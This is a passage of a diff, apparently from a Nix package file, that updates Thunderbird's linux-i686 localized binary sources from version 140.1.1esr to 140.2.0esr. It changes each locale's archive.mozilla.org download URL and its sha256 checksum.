       arch = "linux-i686";
-      sha256 = "7d9f928ee3762f1263e7d7e62cd4b64a1187bb4b35fe4585d909a2204fa41ccc";
+      sha256 = "dc2f5cd79363e7071f79fbae8f11dde0512461abcb2841816e176e334ed4c46d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/cy/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/cy/thunderbird-140.2.0esr.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "d82180d62d4d76f2fb2fe95d9f25f5e409910ef6d0d96d1de98b56bd11a70b2c";
+      sha256 = "6872b6699d46c7ce3fc2b87142dfcfa26a6adcad78a321a0cccf2406938f9faf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/da/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/da/thunderbird-140.2.0esr.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "4fd3babf16ca6b7e5eb7572a887b4b7ef52740d6f3c6163a53321bfd61f55c11";
+      sha256 = "2111f740ac9d778f5a05e1bb1577d747ab10e94919def84fd941ec679a0bb3ac";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/de/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/de/thunderbird-140.2.0esr.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "0c365cccdd4b0de3f66f2b72858fc6bb28a7bc0a14787d3b3f41d8cfd5b5dde3";
+      sha256 = "8d35ca8c2152f4197a2b86e300c4a1fb3c0b89fb231a358b4935833c1939aa0c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/dsb/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/dsb/thunderbird-140.2.0esr.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "7db8f759632c59b9ed6748f0749edd1ecbef9f3b2d6a3e298cd77f752ee091d3";
+      sha256 = "7e61e79f30ac2094bbc1788fe93d73cf83d27f19083603287b91d98521ee96a5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/el/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/el/thunderbird-140.2.0esr.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "a8d1a0161c10f1f169bf55840813994f8c1b548bdec13a588f7fd87729ce4423";
+      sha256 = "da1ece0ef2d892fe87b93024fe29653662563d1a2f2280e3cb005d2f93064b5f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/en-CA/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/en-CA/thunderbird-140.2.0esr.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "8ef975087636a58dbc7466f4aebddedbc8f9d0708300fccbdcaf3a588f3610c4";
+      sha256 = "8220c9eb9dadb54d4329457be5949c3eb83ebc27849a8338aaf9c878dc2dda23";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/en-GB/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/en-GB/thunderbird-140.2.0esr.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "c1da1df9c9fea23f71cd03523d362931eb1e45f8c03cf89e3793dbcb76fc8f84";
+      sha256 = "d20002e128605b757740ccd417e0bde5a18a00abb53eec96c42ee7cc1994ef42";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/en-US/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/en-US/thunderbird-140.2.0esr.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "c0047d20438a99c7d2bc936e6c5b713673c028c786b526c89a432d42b7defad3";
+      sha256 = "dcd90eefb0859015566d3793daaa5f221bb41c0d81a64d9327206988f7d2dc04";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/es-AR/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/es-AR/thunderbird-140.2.0esr.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "9a72134b0d3d0c8c9d927f4b62ac46abdc95a0c356588729beb03ca72d27db27";
+      sha256 = "e7cc813fc9521b21724b83b52b38c48490399569262791da9e5d4045a949fe6e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/es-ES/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/es-ES/thunderbird-140.2.0esr.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "2803618d6d57e7f684baedbbd363f3630ce0c1aad9cb20b8628258663846dc38";
+      sha256 = "1981a0da411e6f09553eafdedd4b5a03da81f80030f3f21b94577f70f20615ac";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/es-MX/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/es-MX/thunderbird-140.2.0esr.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "4b27c807a8924f15ec970247d4004e04761a6a03900becf9b92f97317d933bfa";
+      sha256 = "b8d9badc039a8f4319eac984f32949a43241df208d5e251e9495b032c7a93b86";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/et/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/et/thunderbird-140.2.0esr.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "c27b006c65b2a4be498d71e7db794d9071c3b57db797fee96fea88e78ff87f9e";
+      sha256 = "7aaa6507c37fabcc2adaf371349088a5e2766891ec72c4113ffe5a9cc520684c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/eu/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/eu/thunderbird-140.2.0esr.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "72a63b9531ef73dfa331f3440e3e8963ad33aa6ccfb712c8a466ab2025451004";
+      sha256 = "0c7d7754dc8520bd562fc43ffd9edc7ce00513e2e35176eb5589669d1a729334";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/fi/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/fi/thunderbird-140.2.0esr.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "4533513888fe7e5b14933f2171478f4694bc18da21d84762024407b2240a6729";
+      sha256 = "6e9c70ae222430f04c016f71ef11d3c8f35d8492700106b8a7b15c464584736f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/fr/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/fr/thunderbird-140.2.0esr.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "fce8ed9c53637a57ec649b4246a8770e1e0ff6303820f329decb09d0f2f30af8";
+      sha256 = "8ce64ea11265af482fdadbc998b78d29eab077b19b8c7d44443537ca91ea4c2c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/fy-NL/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/fy-NL/thunderbird-140.2.0esr.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "8ad62f7d30d366e29debb8c38d2b34519773d33eb7cbb042b780d66c30a1a8db";
+      sha256 = "1a7a60200112e65164df4a2aee9ce64137b33055051842c5ff716681758a3544";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ga-IE/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ga-IE/thunderbird-140.2.0esr.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "089e521b1690ed1878e9bff96329c0d7b659d1dd0c51d134b23e29d6fd494f0b";
+      sha256 = "e7f261f2a0724f55743087472040f74b2b872e13c12dd938c642e78c3ee9b1c8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/gd/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/gd/thunderbird-140.2.0esr.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "c697bb069bc2a01ff952fb5a6b735aebbcfcd5430c369078c50be945a082a4ef";
+      sha256 = "5da7d1af89c5f8b7653306116053eca67830ddcf7ed0cd589dcdf036a03ea69c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/gl/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/gl/thunderbird-140.2.0esr.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "1b68ede56cfe8e3e60760d9e18581570cf1733396c028a83f74c6ae9b8280e0c";
+      sha256 = "c67db96e9b6cf3551a7264016900651961fdf5eeb31613ef89757430a405298b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/he/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/he/thunderbird-140.2.0esr.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "5d9c73f63868a2faec39837b500a37ea7187da3d468caa4333da666cea259a59";
+      sha256 = "7290b3a06df6a04f17a349f10b50f4bd04ae626378b36372c659b00a1cb840d9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/hr/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/hr/thunderbird-140.2.0esr.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "4ce9e441a7945c3f400f262b48b6ecd7db576b131144bcdd9769d11677ac3b3a";
+      sha256 = "e588b2a951b8c49665a6b86737c5f2ceb0fdc46a92144263364f61552c0548a2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/hsb/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/hsb/thunderbird-140.2.0esr.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "823fc181b40237cb569634ee2cbaf1538e5b508fec748d92ec3b0bed7ee1615d";
+      sha256 = "85cb2a0e61fcd80d08ed6d3110c778a26bcf3e22aaba96a6d70bc7f21fb46458";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/hu/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/hu/thunderbird-140.2.0esr.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "aaf03a448ed57b22e1c87dcf6de24a937099611699d6b5e567192c9f03f2c8f3";
+      sha256 = "5a34c23c6c2793621bc8a7e36b4af3843c4f2259bf058958d6eb3df66944739b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/hy-AM/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/hy-AM/thunderbird-140.2.0esr.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "e751a26797c842dd64ce6fc3712cb9101fcd15b7f7548a11efa7db8382af6191";
+      sha256 = "a297365831d52ccf591e6ded2bbd23f05097571c1d717ed82129ac6b4513072a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/id/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/id/thunderbird-140.2.0esr.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "e081ca14bb75d1c266e210ddc015276197303cea85744a3bde34999f8cc30bbd";
+      sha256 = "6997bc0af3aa065b5fbac8b4ad9677f1610be9ae8b8d5799aa9a2b366898543d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/is/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/is/thunderbird-140.2.0esr.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "7638ea46add63843183d2af644ba2fc0de7f5bc2c5e7e0fd8160edeabf962b3c";
+      sha256 = "d29f035faf0a92524da988d93c044f81eed4db890ca127809158bacfd3000553";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/it/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/it/thunderbird-140.2.0esr.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "f8089c7ef857bd840e5b6b4639b808a5cf4b2328649f8e9aa6141f185a7aa652";
+      sha256 = "158d5735052ff5f0a243f3125c330f19abf8a988b287f8a3b16fbc2104bffdef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ja/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ja/thunderbird-140.2.0esr.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "c860b26c7c4efc666198e5e77bae6be8b8a71695e47138404f2f180bbebdceb4";
+      sha256 = "54f824266055aec7e554ec0cacad322e9126df9f82a791d992d46462c78ba175";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ka/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ka/thunderbird-140.2.0esr.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "e7358880c8d23a1b8b3bb1cf422b36d729570005c4402b8d45a303017ed8356b";
+      sha256 = "574afc5ab465127dc3e11218eaaf1886a75095ba527be978f0e4f750c8141ff4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/kab/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/kab/thunderbird-140.2.0esr.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "c8c4ccb172473da7ddf1c0ddaa02893841e7a626e8637a0e8131a9b5ac977339";
+      sha256 = "2be6925da889fad10de5ceb1379d326f25170cd1ef2de4f80ad021b300ea1e6f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/kk/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/kk/thunderbird-140.2.0esr.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "65f18363990578d048a278d26050bef7dd63aebc39e1ddbb4da7402f0ece5a8b";
+      sha256 = "f88fc4e4f6a015093fc843be667f7b63e8caef4a63980c5f8a85fe2f89d0319a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ko/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ko/thunderbird-140.2.0esr.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "53cc7aa0a4514463bc9763e7e647c23b72222aa0e6b0967bb8ec4ace1c25ed87";
+      sha256 = "95138c979e4c149751bc04d4999038d326961f9cf5f49db82af1aab1ba2ca4d2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/lt/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/lt/thunderbird-140.2.0esr.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "413d6886dccab5d313c0e6ac960b46844116b65ba3f126ba7c3bee84bdb32c86";
+      sha256 = "63e39966d929eabf7c1de8b6c1f8f0dbf3a52f9c6afb8c6bd4ef1ef36ede7297";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/lv/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/lv/thunderbird-140.2.0esr.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "a778eec1eabf317759db6378e0aaeabc7cc371906424f257ea0660abc510c17b";
+      sha256 = "5b8499fb1667ef2f7c185d5828df1ef2abe8c4db68b39ddba3de2cec0a4dca20";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ms/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ms/thunderbird-140.2.0esr.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "b36044e05b85912a270314d65ef32644b5eb65db219538c4e7830233b5760b9e";
+      sha256 = "77b16429d9d5b5dc7ce1177e58554a4c22f60c680ddfbe9b8c5f6f7a78e31a3a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/nb-NO/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/nb-NO/thunderbird-140.2.0esr.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "addba688057aa799ef23bcb5193016d1f31ed1673ae19d6db1daa7a1f6903eac";
+      sha256 = "a270128603f7a4da8d495545450334dddbca0e40dedb37edfec4a8ee7ae6a7b5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/nl/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/nl/thunderbird-140.2.0esr.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "3099e74e36e02f895c5cc4881b2ccd1406e6b77093400d65c14938790bf0dbab";
+      sha256 = "22084c70eb833c79c16508040fa0c84b65cbd3fb26c757967aff87af73b3cbe5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/nn-NO/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/nn-NO/thunderbird-140.2.0esr.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "8b6d9515c24a85da4bafa1bbd295d254cd67fa5d741805d1c0fe889aea6dea6a";
+      sha256 = "d8045ea607a19a4bc100f546a4593d59024fe85a91ffcc17ae920864708408b6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/pa-IN/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/pa-IN/thunderbird-140.2.0esr.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "ef189585918f5fdaad181c75603c7c5c3ec9902e56f05eb75e1508061a4c3a51";
+      sha256 = "5ec18f084221ecaa507cb7090103e04ba8974a9c401abb5272316a381dfb138f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/pl/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/pl/thunderbird-140.2.0esr.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "bdd972b7c3950f7cdaced6c9d860effd9be1fd14dfaddd9e1547ce828293b836";
+      sha256 = "706c46de3b89b8d70f0b56185349c2bb2a64cb5d47331868c044d4e9adb4c758";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/pt-BR/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/pt-BR/thunderbird-140.2.0esr.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "408b669965291276cf31fba0f9aeb0343b42c2e1b8d03ce3a96ca65f09ddf483";
+      sha256 = "1d018e4e786578343f911cf32d6745ab1ab441f0447a8956981f81eb19416ecb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/pt-PT/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/pt-PT/thunderbird-140.2.0esr.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "e80e3bec252fe673f481dbb22c48ebc1c45784817fcb6142d3ce5205039ca64c";
+      sha256 = "9e02afb517f8f2d4b7fff86fff99d989b9807b3def50f2e50861b8306594c2c3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/rm/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/rm/thunderbird-140.2.0esr.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "3b426eb5d30e63a1496addde69e486db32a72ea8daf0eb3c04dc7fdb32d9b926";
+      sha256 = "2ab5a21a53ee1ec9f9a17c5d1fead8437ed0520abf78c10142c84af69460cee4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ro/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ro/thunderbird-140.2.0esr.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "56aa69817b8f9164832fd682f3f81d8c15d5b1e5332795861f1300bdd2a2611a";
+      sha256 = "5edf5e6971f877652d026bde09b1eb4ac6a29c2ee86a75780b520695f12b7d57";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ru/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/ru/thunderbird-140.2.0esr.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "3fbbdba3b49631c86a0f755da39f1326635732fd626c33ca01bb58fd2cc41c04";
+      sha256 = "8e3570cdb72e3f96373962926dcf6886f0e77b1e6db62c6c0693ed781d12aa32";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/sk/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/sk/thunderbird-140.2.0esr.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "c044ae22b720fddef843627ca24deda9900dd10dac8556f1cfc3954d63b7a4f3";
+      sha256 = "8b7ac31b28933209b419fdf7f9a6519d0642ad69827914a52baa38e5404f3fc2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/sl/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/sl/thunderbird-140.2.0esr.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "1db44283d603e10e20e1957ead276ab7fd32b096b886304250f9379af8f0d246";
+      sha256 = "69486f47806876c7cc51d82eb49fc296778ab619d7e1143139859481b6207b8e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/sq/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/sq/thunderbird-140.2.0esr.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "c7e41bf70ba0f63896c2268a274aa5b21b73f30b9053d039c1ee2ecb55116123";
+      sha256 = "12407cb07d863749ad8bc1a3a3002427420afcca61ef1065d5bc75fb64cade7c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/sr/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/sr/thunderbird-140.2.0esr.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "0be7c47f1f7eb7367c91eaa7077d0fc737ee1a682007500232b84ef840b18a3c";
+      sha256 = "ec863cdeb868209cef55ca0fec3b5f9f0d3e7c454aa2817aca2ea245f62aeb98";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/sv-SE/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/sv-SE/thunderbird-140.2.0esr.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "970561eebbfa661d3b57e8afb79cbc29430e8977f17c92f39da540ae74f9fe37";
+      sha256 = "d92d1bc44da0a5ac2aeef4c195f6d42c2163e4378515d68b447c54cbcf685903";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/th/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/th/thunderbird-140.2.0esr.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "a893872e1b2a61ffa15479be4531a94c3f0f9cce2a14474442de7213637739ac";
+      sha256 = "df562a5ee6889e9eae19de5f6244ac5a32d946010c1bcbba7a597741c92e845d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/tr/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/tr/thunderbird-140.2.0esr.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "debe95a6215f1216386fc02e6b2ce6fe06a2da81aa1bea21706ed549c26e39d8";
+      sha256 = "7ce319b95d97d8653f5c6b988ef0ee8732b0e811c1e4a792251b44984900216d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/uk/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/uk/thunderbird-140.2.0esr.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "3f9e93456ea40bad341c3c42100bda9293c594b3e0db935008078566962e6aea";
+      sha256 = "088d5209dafeec939456e728507f19ae3ad376a25ec0dc098ed23ded4271c10b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/uz/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/uz/thunderbird-140.2.0esr.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "5c50b03eb4ef9334ac6c7113131e0b6fe54753af4a5d167a8acb94b7e48fbf72";
+      sha256 = "dc3009b097f8842c5cb493782d408f0ea9b05acc767657e1b1831bb900c0b667";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/vi/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/vi/thunderbird-140.2.0esr.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "be0eb2780b1b809173f0598e365b41a92370f732de753ae1d23e0a7fbaa59277";
+      sha256 = "12ee20867162e5e43893d69986e6930a41524b8ffdab85fe210c24783a6f0f9f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/zh-CN/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-i686/zh-CN/thunderbird-140.2.0esr.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "6f47a9e79002415581c03c909000a9906ab075259e70464e949aeb55261997cb";
